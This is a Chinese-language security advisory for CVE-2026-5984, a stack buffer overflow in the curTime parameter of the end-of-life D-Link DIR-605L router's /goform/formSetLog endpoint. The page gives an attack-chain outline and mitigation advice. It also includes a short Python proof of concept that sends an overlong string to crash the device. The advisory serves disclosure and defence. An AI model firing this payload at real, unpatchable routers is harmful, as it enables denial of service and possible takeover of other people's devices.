IPBUF安全漏洞报告
English
CVE-2026-5984 CVSS 8.8 高危

CVE-2026-5984 D-Link DIR-605L 缓冲区溢出漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5984
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR-605L

相关标签

Buffer OverflowRCED-LinkIoTRouterEOLCVE-2026-5984

漏洞概述

D-Link DIR-605L路由器固件2.13B01版本中存在高危缓冲区溢出漏洞。该漏洞位于/goform/formSetLog接口的POST请求处理逻辑中,因未对curTime参数进行严格长度校验而引发。攻击者可利用此漏洞进行远程攻击,无需用户交互即可绕过低权限限制,导致设备崩溃或执行任意代码,进而完全控制设备。鉴于该产品已停止维护,风险极高。

技术细节

该漏洞产生于D-Link DIR-605L路由器Web服务端的POST请求处理程序中,具体涉及/goform/formSetLog文件内的formSetLog函数。在处理用户提交的表单时,程序直接将用户输入的“curTime”参数复制到栈缓冲区,未进行任何长度检查或过滤。攻击者可构造特制的HTTP POST请求,发送超长的字符串作为curTime参数的值。当数据量超过缓冲区大小时,将触发栈溢出,覆盖关键的返回地址或函数指针。由于CVSS向量显示攻击复杂度低且无需用户交互,攻击者可自动化地发起攻击。成功利用后,攻击者可获得与Web服务进程相同的权限,从而实现远程代码执行(RCE),窃取敏感信息或破坏设备功能。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别暴露在互联网上的D-Link DIR-605L设备,确定其固件版本为2.13B01或受影响版本。
STEP 2
漏洞利用
攻击者向目标设备的/goform/formSetLog接口发送特制的恶意POST数据包,其中包含超长的curTime参数。
STEP 3
溢出执行
由于程序未对输入长度进行校验,超长数据覆盖栈上的返回地址,导致程序流程被劫持,执行攻击者注入的恶意代码。
STEP 4
获取权限
攻击者成功获得路由器的控制权限,可进一步植入后门、窃听流量或作为跳板攻击内网其他设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example IP) target_url = "http://192.168.0.1/goform/formSetLog" # Malicious payload to trigger buffer overflow # Sending a long string of 'A's to overflow the 'curTime' parameter buffer payload = { "curTime": "A" * 1000 } try: # Send the POST request to the vulnerable endpoint response = requests.post(target_url, data=payload, timeout=5) # Check response status if response.status_code == 200: print("Request sent successfully. Check device for crash or shell.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"An error occurred or the device crashed (DoS): {e}")

影响范围

D-Link DIR-605L 2.13B01

防御指南

临时缓解措施
鉴于D-Link已不再维护DIR-605L产品,官方将不会发布补丁修复此漏洞。用户必须采取物理隔离或网络访问控制(ACL)等缓解措施,限制对设备Web界面的访问,特别是防止来自互联网的连接。建议尽可能将该设备替换为支持现代安全协议且处于厂商支持周期内的设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表